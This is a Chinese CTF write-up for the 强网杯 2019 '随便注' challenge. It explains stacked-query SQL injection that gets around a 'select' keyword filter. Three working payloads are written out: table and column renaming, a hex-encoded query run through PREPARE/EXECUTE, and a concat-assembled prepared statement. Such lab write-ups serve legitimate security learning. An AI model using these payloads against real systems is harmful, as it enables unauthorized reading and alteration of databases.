日常SQL注入笔记

[强网杯 2019]随便注

老规矩先提交一个参数试试看;出现了数字1和一个字符串;此时猜测1就类似于sqli-labs里面的id值;

接着探测闭合形式;然后猜字段数;接着使用联合注入试一下;发现有匹配大小写的过滤

接下来试着绕过对select的过滤,发现是进行多次匹配,双写绕过无效,注释绕过无效,url编码绕过无效;应该是绕不过了吧。此时想到了叠堆注入的方法,发现页面有回显,接着继续爆表和列。
words表:

1919810931114514表:

此时发现flag在1919810931114514表中,但是因为select无法使用导致我们无法读取
法一:我们这时候突然注意到我们提交1时爆出的字段;因为第一个字段也比较像是id值,猜想输出的是words表中的。所以此时我们可以将words表改成别的名字,将1919810931114514表名改成words表名;这样就可以通过查询1爆出words表的值了。
1.先将words表改名:
rename table words to a;
2.改1919810931114514表名:
rename table 1919810931114514 to words;
3.将flag字段改成data字段:
alter table words change flag data varchar(100)
4:添加id字段(确保前面的1可以被查询到)
alter table words add int unsigned not Null auto_increment primary key;
又因为时叠堆注入可以直接将这几句话连接在一起

1
1';rename table words to word1;rename table `1919810931114514` to words;alter table words change flag data varchar(100);alter table words add id int unsigned not Null auto_increment primary key;#

#注意,如果tableName是纯数字,需要用反引号包裹
法二:
因为select被过滤了,所以先将select * from 1919810931114514进行16进制编码;
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
所以构造payload为

1
0;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

法三:预编译绕过
因为select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字;

1
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE  hacker;#

格式:PREPARE 名称 FROM Sql语句 ? ;
SET @x=xx;
EXECUTE 名称 USING @x;